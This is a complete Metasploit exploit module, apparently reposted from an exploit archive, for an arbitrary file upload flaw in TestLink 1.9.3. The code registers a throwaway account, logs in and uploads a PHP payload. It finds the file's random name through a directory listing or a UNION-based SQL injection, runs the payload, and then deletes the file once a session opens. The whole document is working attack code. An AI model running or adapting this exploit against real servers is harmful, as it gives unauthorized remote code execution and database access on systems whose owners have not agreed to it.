TestLink 1.9.3 Arbitrary File Upload

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in TestLink version 1.9.3 or prior.
        This application has an upload feature that allows any authenticated
        user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
        directory with a randomized file name. The file name can be retrieved from
        the database using SQL injection.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
        ],
      'References'     =>
        [
          ['URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/']
          #['OSVDB', ''],
          #['EDB',   ''],
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 13 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
      ], self.class)
  end

  def check

    base  = target_uri.path
    base << '/' if base[-1, 1] != '/'
    peer = "#{rhost}:#{rport}"

    # retrieve software version from login page
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => "#{base}login.php"
      })

      return Exploit::CheckCode::Unknown if res.nil?
      return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"\s+src="[^"]+" \/>\s+<br \/>TestLink 1\.9\.3/
      return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http:\/\/testlink\.sourceforge\.net\/docs\/testLink\.php">Home<\/a><br \/>/
      return Exploit::CheckCode::Safe
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{peer} - Connection failed")
    end
    return Exploit::CheckCode::Unknown

  end

  def upload(base, fname, file)

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
    data_post  = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"uploadedFile\"; filename=\"#{fname}\"\r\n"
    data_post << "Content-Type: text/php\r\n"
    data_post << "\r\n"
    data_post << file
    data_post << "\r\n"
    data_post << "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n"
    data_post << "\r\n1048576\r\n"
    data_post << "--#{boundary}\r\n"

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{base}lib/attachments/attachmentupload.php",
      'ctype'   => "multipart/form-data; boundary=#{boundary}",
      'data'    => data_post,
      'cookie'  => datastore['COOKIE'],
    })

    return res
  end

  def register(base, user, pass)

    res   = send_request_cgi({
      'method'  => 'POST',
      'uri'     => "#{base}firstLogin.php",
      'data'    => "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data",
    })

    return res

  end

  def login(base, user, pass)

    res   = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{base}login.php",
      'data'   => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login",
      'cookie' => datastore['COOKIE'],
    })

    return res

  end

  def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm("#{@token}.php")
    else
      client.shell_command_token("rm #{@token}.php")
    end
  end


  def exploit

    base  = target_uri.path
    base << '/' if base[-1, 1] != '/'
    @peer = "#{rhost}:#{rport}"
    datastore['COOKIE'] = "PHPSESSID="+rand_text_alpha_lower(26)+";"

    # register an account
    user  = rand_text_alphanumeric(rand(10)+6)
    print_status("#{@peer} - Registering user (#{user})")
    res   = register(base, user, user)
    if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
      print_status("#{@peer} - Registered successfully")
    else
      print_error("#{@peer} - Registration failed")
      return
    end

    # login
    print_status("#{@peer} - Authenticating user (#{user})")
    res   = login(base, user, user)
    if res and res.code == 200 and res.body =~ /\<html\>\<head\>\<\/head\>\<body\>\<script type='text\/javascript'\>location\.href=/
      print_status("#{@peer} - Authenticated successfully")
    else
      print_error("#{@peer} - Authentication failed")
      return
    end

    # set id and table name
    id    = rand(1000)+1
    table = 'nodes_hierarchy'
    print_status("#{@peer} - Setting id (#{id}) and table name (#{table})")
    begin
      res = send_request_cgi({
        'method'  => 'GET',
        'uri'     => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}",
        'cookie' => datastore['COOKIE'],
      })
      if res and res.code == 200
        print_status("#{@peer} - Setting id and table name successfully")
      else
        print_error("#{@peer} - Setting id and table name failed")
        return
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{@peer} - Connection failed")
      return
    end

    # upload PHP payload to ./upload_area/nodes_hierarchy/[id]/
    print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
    fname  = rand_text_alphanumeric(rand(10)+6) + '.php'
    php    = %Q|<?php #{payload.encoded} ?>|
    begin
      res    = upload(base, fname, php)
      if res and res.code == 200 and res.body =~ /<p>File uploaded<\/p>/
        print_good("#{@peer} - File uploaded successfully")
      else
        print_error("#{@peer} - Uploading PHP payload failed")
        return
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{@peer} - Connection failed")
      return
    end

    # attempt to retrieve real file name from directory index
    print_status("#{@peer} - Retrieving real file name from directory index.")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => "#{base}upload_area/#{table}/#{id}/"
      })
      if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
        @token = $1
        print_good("#{@peer} - Successfully retrieved file name (#{@token})")
      else
        print_error("#{@peer} - Could not retrieve file name from directory index.")
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{@peer} - Connection failed")
      return
    end

    # attempt to retrieve real file name from the database
    if @token.nil?
      print_status("#{@peer} - Retrieving real file name from the database.")
      sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--"
      begin
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => "#{base}#{sqli}",
          'cookie' => datastore['COOKIE'],
        })
        if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/
          @token = $1
          print_good("#{@peer} - Successfully retrieved file name (#{@token})")
        else
          print_error("#{@peer} - Could not retrieve file name from the database.")
          return
        end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        print_error("#{@peer} - Connection failed")
        return
      end
    end

    # retrieve and execute PHP payload
    print_status("#{@peer} - Executing payload (#{@token}.php)")
    begin
      send_request_cgi({
        'method' => 'GET',
        'uri'    => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php"
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{@peer} - Connection failed")
      return
    end

    handler
  end
end



#  0day.today [2018-01-01]  #